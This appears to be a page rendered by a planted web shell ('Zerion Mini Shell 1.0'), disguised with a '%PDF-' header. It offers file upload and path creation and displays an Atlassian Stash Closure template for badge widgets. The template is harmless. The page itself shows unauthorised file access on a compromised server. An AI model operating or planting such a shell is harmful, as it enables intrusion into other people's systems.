%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/widget/badges/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/widget/badges/badges.soy

{namespace stash.widget.badges}

/**
 * @deprecated Since 2.3. Do not use this template. Instead use aui.badges.badge.
 * @param text Visible text of the badge (usually a number).
 * @param tooltip the tooltip text
 * @param? extraClasses
 */
{template .badge}
    <span class="aui-badge deprecated{if $extraClasses} {$extraClasses}{/if}" title="{$tooltip}">{$text}</span>
{/template}


/**
 * @param count the pull request count to show
 * @param state a description of the state of the pull requests being counted - for the tooltip text
 */
{template .pullRequestCount}
    {if $count > 0}
        {call aui.badges.badge}
            {param text: $count /}
            {{param extraAttributes: [ 'title' : getText('stash.global.pull-request.count', $count, $state) ] /}}
        {/call}
    {/if}
{/template}

Zerion Mini Shell 1.0